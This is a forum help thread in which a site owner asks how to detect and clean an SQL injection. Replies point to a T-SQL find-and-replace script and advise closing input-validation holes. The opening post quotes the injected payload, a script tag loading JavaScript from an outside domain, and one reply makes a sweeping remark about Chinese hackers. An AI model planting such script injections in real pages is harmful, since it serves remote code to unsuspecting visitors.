How to detect and clean an SQL Injection

Hi,

I believe that we have been hit with an SQL injection attack. At the top of our website page it has the following;

<script src=http://www.chinabnr.com/b.js></script>

Can you tell me how to detect and clean if this is the case.??

TIA

Lee
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Lee025_Asked:
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rezenConnect With a Mentor Commented:
Same thing happened to me. Damn Chinese hackers!

What I did was run the SQL code here: http://alexduggleby.com/2008/05/09/off-topic-t-sql-replace-all-occurrences-in-all-columns-in-all-tables/

This allowed me to generate a sql script that parses all my tables and erases all the the injected text in all character storing columns.

NOTE:
The code on the guy's site is not entirely working. I had to erase a smiley tag and fix the comments. Once it ran, it generated all the update statements needed. Make sure you tweak the code to replace the '<script...' with an empty string: ''
Also note that this does not clean NTEXT columns, which are affected by the SQL Injection. What I did was convert all my NTEXT columns to VARCHAR(MAX) [supported in SQL Server 2005].

Good luck, and don't forget to fix your vulnerabilities.
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patriktCommented:
If it is realy comming from outside atack you have to fix all hole in your applications.
Every textbox without validataion can be hole to SQL if it is used insorrectly.
I can give you guiodelines for this but you have to do¨cleaning manualy.

As I know there is no automatic test tool, but somone may know about it.

Patrik
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